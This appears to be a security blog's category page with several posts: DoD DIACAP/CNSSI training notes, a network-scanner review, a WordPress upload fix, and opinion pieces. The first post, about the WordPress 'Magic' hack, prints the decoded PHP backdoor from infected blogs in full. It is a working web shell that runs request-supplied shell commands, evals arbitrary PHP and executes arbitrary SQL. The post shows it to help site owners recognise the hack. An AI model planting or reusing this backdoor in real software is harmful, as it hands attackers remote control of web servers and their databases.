Category: Main Digg

  • Server at Magic Requires Username Password

    The WordPress “Magic” hack!

    If your getting this message: “The server (our server domain, e.g. DOMAIN.COM) at Magic” Then you likely have infected code in your wordpress blog.

    Wordpress Magic Attack
    Wordpress Magic Attack

    WordPress user Yokima reported this very slick hack.

    FIX ACTION:
    And the fix is to update your blog. This will fix the issue. Make sure you change your password if you actually put your information in that “serve at Magic” message box. Although updating the the wordpress blog definitely fixes the issue, you may have to reload your pluggins too because they may also have some infect code. Doing further research on this matter.

    *Similar issues reported by techartist “server BLAH.fuzz.com at Fuzz Access requires a username and password.”

    What the infected code looks like after the malware injection into your blog.. yep.. uuugly!

    From RocketWood:
    We noticed that the code injected into the files was run through an eval and a decode so we decoded the string and found this php code:

    {

    if (!function_exists('______safeshell'))

    {

    function ______safeshell($komut) {

    @ini_restore("safe_mode");

    @ini_restore("open_basedir");

    $disable_functions = array_map('trim', explode(',', ini_get('disable_functions')));

    if (!empty ($komut)) {

    if (function_exists('passthru') && !in_array('passthru', $disable_functions)) {

    //@ ob_start();

    @ passthru($komut);

    //$res = @ ob_get_contents();

    //@ ob_end_clean();

    }

    elseif (function_exists('system') && !in_array('system', $disable_functions)) {

    //@ ob_start();

    @ system($komut);

    //$res = @ ob_get_contents();

    //@ ob_end_clean();

    }

    elseif (function_exists('shell_exec') && !in_array('shell_exec', $disable_functions)) {

    $res = @ shell_exec($komut);

    echo $res;

    }

    elseif (function_exists('exec') && !in_array('exec', $disable_functions)) {

    @ exec($komut, $res);

    $res = join("\n", $res);

    echo $res, "\n";

    }

    elseif (@ is_resource($f = @ popen($komut, "r"))) {

    //$res = "";

    while (!@ feof($f)) {

    //$res .= @ fread($f, 1024);

    echo(@ fread($f, 1024));

    }

    @ pclose($f);

    }

    else

    {

    $res = {$komut};

    echo $res;

    }

    }

    }

    };

    if (isset ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'])) {

    echo "\n";

    if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'eval') {

    eval(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);

    }

    else if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'exec') {

    ______safeshell(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);

    }

    else if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'query') {

    $result = mysql_query(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd'], $wpdb->dbh);

    if (!$result)

    {

    echo "php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_FAILED: ", mysql_error($wpdb->dbh), "\n";

    die();

    }

    else if (is_resource($result))

    {

    $res = array();

    while ($row = mysql_fetch_assoc($result))

    {

    $res[] = $row;

    };

    mysql_free_result($result);

    echo serialize($res);

    die();

    }

    else

    {

    echo "php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_SUCCEEDED: ", mysql_affected_rows($wbdb->dbh), " rows affected\n";

    die();

    }

    };

    echo "\n\n";

    die();

    };

    };

    p.s: don’t feel too bad, even the security masters get hacked by malicious S.O.B’s.

  • GFI LANGuard – Review

    GFI Languard Network and Security Scanner

    I was given the honor of reviewing GFI LANguard network and security scanner. Right off the bat I notice that the interface is very intuitive & easy to use, which is important to a busy security professional that have better things to do with their time than fight with a messy
    security tool.

    The network scanning tool I normally use is called Retina.
    When lining the two up, I have to say Retina is much more powerful, with many more options built in. It can drill way down and do intrusive scans where GFI LANguard v.9 is pretty vanilla. It gives you what you need and that is it.

    The simplicity could be an advantage to a system admin doing a security job, because it really is straight to the point. The cost is definitely and advantage. GFI LANguard is about ½ the cost of the Retina Scan tool.

    Retina Professional Edition 16 IP Pack – $995.00

    GFI LAN Guard goes for about 300+ for 10 licences.

    Nessus is considered one of the best network scan tools but its more expensive then both.

    What I really like about Retina is that it allows you to scan in accordance with Department of Defense standards, SAN, and others. Languard does look at the SANS Top 20 report vulnerabilities.

    If your looking for basic, down to Earth network & security scanner for your small to medium business needs, than GFI Languard is definitely the way to go because you will not beat the cost for the quality and support you get. Its going to give you a thorough assessment of the your systems and even tell you how to fix them. Buy this product!

  • CNSSI 12-53: New Security Control Catalog for National Security Systems

    2014 – Update, DIACAP has been upgraded to Risk Management Framework for DoD IT (aka DIARMF).  Its base on the NIST SP 800-37, Risk Management Framework for Federal IT and takes from CNSSI 1253.

    Risk Management Framework for DoD IT takes all IA Controls (Security Controls) from NIST SP 800-53.

    New DIACAP Certification & Accreditation IA Controls

    The DoD has had the same IA controls since DoD 8510.1-M, controls since DoD 8510.1-M, Department of Defense Information Technology System Certification & Accreditation Process (DITSCAP), July 31, 2000 – it was developed late last century.

    The DoD has a total of 157 IA controls spread across 8 subject areas in 4 classes:

    DC – Security Design & Configuration

    IA – Identification and Authentication

    EC – Enclave & Computing

    EB – Enclave Boundary Defense

    PE – Physical & Environmental

    PR – Personnel

    CO – Continuity

    VI – Vulnerability

    There is a huge change coming in certification & accreditation for the DoD coming. The IA controls are being expanded and changed. The last two DIACAP classes I’ve been to mentioned that there is a big change coming. Essentially, all the IA Controls (security controls, safeguards, countermeasures.. whatever your organization is calling them) are getting expanded. All federal organizations will have security controls that look more like what is in the National Institute of Standards and Technology Special Publication 800-53. This is all being placed in the Committee on National Security Systems Instruction (CNSSI) 1253. As of 25 June 2009, the CNSSI 1253 is still in draft.

    The draft has 17 families & identifiers in three security control classes.

    TABLE 1: SECURITY CONTROL CLASSES, FAMILIES, AND IDENTIFIERS
    IDENTIFIER FAMILY CLASS

    AC Access Control Technical

    AT Awareness and Training Operational

    AU Audit and Accountability Technical

    CA Certification, Accreditation, and Security Assessments Management

    CM Configuration Management Operational

    CP Contingency Planning Operational

    IA Identification and Authentication Technical

    IR Incident Response Operational

    MA Maintenance Operational

    MP Media Protection Operational

    PE Physical and Environmental Protection Operational

    PL Planning Management

    PS Personnel Security Operational

    RA Risk Assessment Management

    SA System and Services Acquisition Management

    SC System and Communications Protection Technical

    The CNSSI has about 500 controls with pretty good granularity.

    One of the really cool thing about 1253 was the security control mapping. It’s a table that matches up 800-53, DCID 6/3 and DODI 8500.2.

  • DIACAP Essentials + IA Control Validation Training (part 4): DIACAP/AFCAP Day 4 & 5

    UPDAT: 2014 - Risk Management Framework for DOD IT released.

    Days 4 & 5 bring the DIACAP/AFCAP Essentials Class to a close. The
    biggest things I learned were: CNSSI 4009 is the the official glossary of DOD IA, there is a big difference between theory, policy and practice, Agents of the Certifying Authority (ACA) are official validators and there is a difference between acquisition Mission criticality and IA MAC levels.

    Stuff I learned from people in the class:

    -AFCA is changing its name (to what?)

    DOD is going to put the new IA controls in NCSSI 12-53 (currently in draft)

    -a lot of what I need in there is in NIST 800-53

    Marines use something called Exacta

    Site called securitycritics.org

    33-202 is now completely irrelevant and obsolete (not even mentioned ONCE in the class)

    800-30

    Feds call Certification &Accreditation (C&A) “Security authorization”

    NIST SP 800-37

    Day 4:

    Validator Activities & Issue Accreditation Decision

    Prepare POA&M

    Validate Results/Scorecard

    Scorecard

    Make certification determination

    CA/DAA Package review

    Day 5:

    Validation procedures were discussed. On day five, we looked at how the validators look at a system.

    I thought is was interesting. It should help me get through the EITDR/DIACAP process easier.

    Maintain Situational Awareness

    Maintain IA Posture

    Conduct Review

    R-Accreditation

    Retire system

  • DIACAP Essentials + IA Control Validation Training (part 4): DIACAP/AFCAP Day3

    UPDAT: 2014 - Risk Management Framework for DOD IT released.

    Day 3 heats up a little. We start talking about what it take to actually get validated. The DIACAP Implementers Guide & the DIACAP Validators guide is opened up and reviewed. I think we all learned a little something during this discussion because there have been some challenges with this. Unfortunately, we don’t to far into the validator stuff.

    Day 3:

    DIACAP Structure

    Terminology Review

    Assemble DIACAP Team

    Registered System/System Information Profile

    Assign IA Controls

    Initiate DIACAP Implementation Plan

  • Unable to create directory-parent directory writable? wordpress 2.7

    I was having uploading images on one of my WordPress 2.7 & 2.8 blogs. It gave me the following error:
    Unable to create directory /home/username/server/wp-content/uploads/20XX/MM/ Is it parent directory writable by the server?

    After a long time searching I found this solution from http://www.cyriac.me

    Step 1: Log into your admin panel

    Step 2: Go to Settings>>Miscellaneous

    You will see two options,

    Store uploads in this folder
    Full URL path to files
    Most probably you will see

    /home/.boogee/XXXXX/XXXXXXX/wp-content/uploads

    in the first field.

    Step 3: Edit that to just

    wp-contents/uploads

    Some people were suggesting that you solve the problem my making the folders permissions 777, meaning anyone can do anything to that particular folder. As a security guy, I knew this was a bad idea (and it also did work for me 🙂 ). I kept searching and ran into that solution.

    Worked like a charm! thanks cyriac for putting solution on the blog.

  • DIACAP Essentials + IA Control Validation Training (part 2): DIACAP/AFCAP Day1

    DIACAP/AFCAP Day 1.
    This is the second installment of the DIACAP Essentials journal.

    In the first day of class we’ve taken a high level look at the big picture of the Department of Defense Information Assurance Certification & Accreditation Process (DIACAP) and Air Force Certification & Accreditation Program (AFCAP). It is a very valuable tool for a beginner.

    Since I’ve gone through the entire process (with a legacy system) more than once through all the growing pains of Air Force C&A from DITSCAP to DIACAP, I found that I knew about 90% of everything taught. I don’t mind having a refresher, though and quite frankly, I need the CPE’s for my CISSP :).

    There were a couple of golden nuggets that I’ve been able to get out of some of the old timers. I learned some interesting things about how the Navy, Marines and Army do things.
    Navy (as weird as their dumb ass rank system.. yep, I said it.. its dumb) have like three systems: DITPR-DON, DA-DUMB and some other BS, Marines have something called Exacta and the Army has APMS (Army Profile Management System). Also learned cool off topic stuff like history of eMass.

    I must admit I’m looking forward to day two.
    pros of day 1: Good solid start on basics GREAT for beginners. SecureInfo gets mad props for have a great instructor John M.(don’t know if he wants his full name published.. but he’s highly, highly knowledgeable and very positive).

    cons of day 1: Right off the bat I am noticing a huge hole in the training… a lack of in depth teaching of EITDR, which is how the Air Force implements, manages and maintains the entire DIACAP/AFCAP process. I don’t really see how you can teach one without the other these days. I guess contractually, SecureInfo can not touch it since some other company has the contract. But unfortunately, the folks that are new to this are going to suffer. Because if they goto this class without knowing the EITDR they will know why but now how, and if they go to the EITDR class without knowing the DIACAP they will know how but not Why.

  • Jeff Moss + DHS = Super Security

    “Godfather of Hackers” Jeff Moss, founder of the Black Hat and Defcon hacker and security conferences, was sworn in as one of the new members of the Department of Homeland Security’s Advisory Council (HSAC). And we think it’s a shrewd and thoughtful move. Obama seems to be getting serious about cyber security now by hiring “Dark Tangent.”

    on gizmodo

    Jeff Moss is not only a celebrity in the world of hacking, he is also a powerbroker. He is a respected force to be reckoned with. I am not going to say that I think he is some sort of cyber mafia boss but I will say that he could destroy just about anyone with a 100 word post on a forum. Getting “street cred” in the hacker world is something that must be truly earned usually by technical expertise proven by hundreds or even thousands of your hacker peers validated by published technical papers, famous/infamous system infiltrations, the discovery of 0-day exploits that make major corporations take notice, or some combination of these.

    Jeff has his finger on the pulse of the entire spectrum of hacking.

    Jeff is now going to advise the president.

    Now that is good judgement.

  • DIACAP Essentials + IA Control Validation Training (part 1)

    UPDAT: 2014 – Risk Management Framework for DOD IT released.

    I’ve been scheduled to go to DIACAP Essentials + IA Control Validation training. It is the same training that is given to validators at AFCA, so I guess it is pretty serious stuff. I was very reluctant to go until I realized that I actually really need the CPE’s to maintain my CISSP.

    Since I’ve been doing the DIACAP stuff for about 2 years now, I’m not certain there is any new information for me to learn.

    DIACAP Essentials
    The Department of Defense Information Assurance Certification and
    Accreditation Process (DIACAP) Essentials course blends lecture and hands-on
    exercises to introduce students to DIACAP policy (to include FISMA
    requirements of a comprehensive, repeatable, and auditable Information
    Security process).

    IA Control Validation In-Depth – 3 Days
    The IA Control Validation In-Depth course takes the students DIACAP
    education and turns the view from an implementor to a Validator perspective
    and involves the students in the validation process for the IA Controls
    (DoDI 8500.2).

    What I am hoping to get from the course is a better handle on the FISMA process.
    I don’t feel like I really have a handle on what is supposed to happen with it.

  • I always feel like GOOGLE is watching meeee

    If Google was woman I would make sweet passionate love to her. And she’d be a psycho-stalker.

    I love Google, but it conflicts with my finely honed skill of not trusting. I use Google for just about everything knowing they have a dangerous amount of information about me and everything else readily available in a search friendly little package.

    Google showed up as the most conspicuous tracker on third-party sites. Google Analytics, a free product that allows online publishers to gather statistics about visitors to their sites, was used on 81 of the top 100 sites. Cookies from the advertising company DoubleClick, which is owned by Google, were present on 70 of those sites. When combining trackers from those two services, Google had a presence on 92 of the top 100 sites. Others weren’t far behind. Cookies from Atlas, Microsoft’s DoubleClick rival, appeared on 60 sites, and trackers from two other analytics companies, Quantcast and Omniture, showed up on 54 sites.

    – Ny time

    I still love Google and I still believe, perhaps foolishly, that they are not evil. Even so, one day I think Google will turn evil, not unlike any empire that has become too powerful. The culture of the company will change in a generation and a new dynasty will reign using personal information as a weapon rather than a useful tool for making better searching. I hope I am very, very wrong.